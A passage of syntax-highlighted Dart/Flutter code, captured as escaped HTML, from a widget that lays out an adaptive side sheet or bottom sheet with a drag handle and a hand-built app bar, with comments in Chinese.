class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"n\"\u003edidChangeDependencies\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.8\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003esuper\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edidChangeDependencies\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e \u003cspan class=\"n\"\u003eradius\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eonly\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etopLeft:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebottomLeft:\u003c/span\u003e \u003cspan class=\"o\"\u003e!\u003c/span\u003e\u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003etopRight:\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e16\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ebottomRight:\u003c/span\u003e \u003cspan class=\"n\"\u003eRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ezero\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.4\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"m\"\u003e360\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"m\"\u003e360\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewidth\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.4\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这就是上面的东西,根据 SideSheet 和 BottomSheet 有所不同\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"kd\"\u003eget\u003c/span\u003e \u003cspan class=\"n\"\u003eonTop\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eisPhone\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e?\u003c/span\u003e \u003cspan class=\"n\"\u003eGestureDetector\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eonVerticalDragUpdate:\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eDragUpdateDetails\u003c/span\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003esetState\u003c/span\u003e\u003cspan class=\"p\"\u003e(()\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003edetails\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eglobalPosition\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003edy\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eheightForVertical\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026lt;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eMediaQuery\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003esize\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eheight\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"m\"\u003e0.4\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e});\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e},\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e30\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esurface\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eStack\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ealignment:\u003c/span\u003e \u003cspan class=\"n\"\u003eAlignmentDirectional\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecenter\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eColors\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etransparent\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"m\"\u003e32\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"m\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003edecoration:\u003c/span\u003e \u003cspan class=\"n\"\u003eBoxDecoration\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eborderRadius:\u003c/span\u003e \u003cspan class=\"n\"\u003eBorderRadius\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecircular\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e15\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eonSurfaceVariant\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003ewithOpacity\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"m\"\u003e0.4\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"o\"\u003e:\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这里就是原先使用 AppBar 的地方,我这里被迫自己写了个类似的\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eContainer\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eheight:\u003c/span\u003e \u003cspan class=\"n\"\u003ekToolbarHeight\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ewidth:\u003c/span\u003e \u003cspan class=\"kt\"\u003edouble\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003einfinity\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003ecolor:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003ecolorScheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003esurface\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echild:\u003c/span\u003e \u003cspan class=\"n\"\u003eRow\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003echildren:\u003c/span\u003e \u003cspan class=\"p\"\u003e[\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eIconButton\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eonPressed:\u003c/span\u003e \u003cspan class=\"p\"\u003e()\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u0026gt;\u003c/span\u003e \u003cspan class=\"n\"\u003eNavigator\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003epop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003eicon:\u003c/span\u003e \u003cspan class=\"kd\"\u003econst\u003c/span\u003e \u003cspan class=\"n\"\u003eIcon\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eIcons\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003earrow_back\u003c/span\u003e\u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eText\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ewidget\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitle\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nl\"\u003estyle:\u003c/span\u003e \u003cspan class=\"n\"\u003eTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003eof\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e).\u003c/span\u003e\u003cspan class=\"n\"\u003etextTheme\u003c/span\u003e\u003cspan class=\"p\"\u003e.\u003c/span\u003e\u003cspan class=\"n\"\u003etitleLarge\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e],\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e),\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"err\"\u003e@\u003c/span\u003e\u003cspan class=\"n\"\u003eoverride\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eWidget\u003c/span\u003e \u003cspan class=\"n\"\u003ebuild\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eBuildContext\u003c/span\u003e \u003cspan class=\"n\"\u003econtext\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e 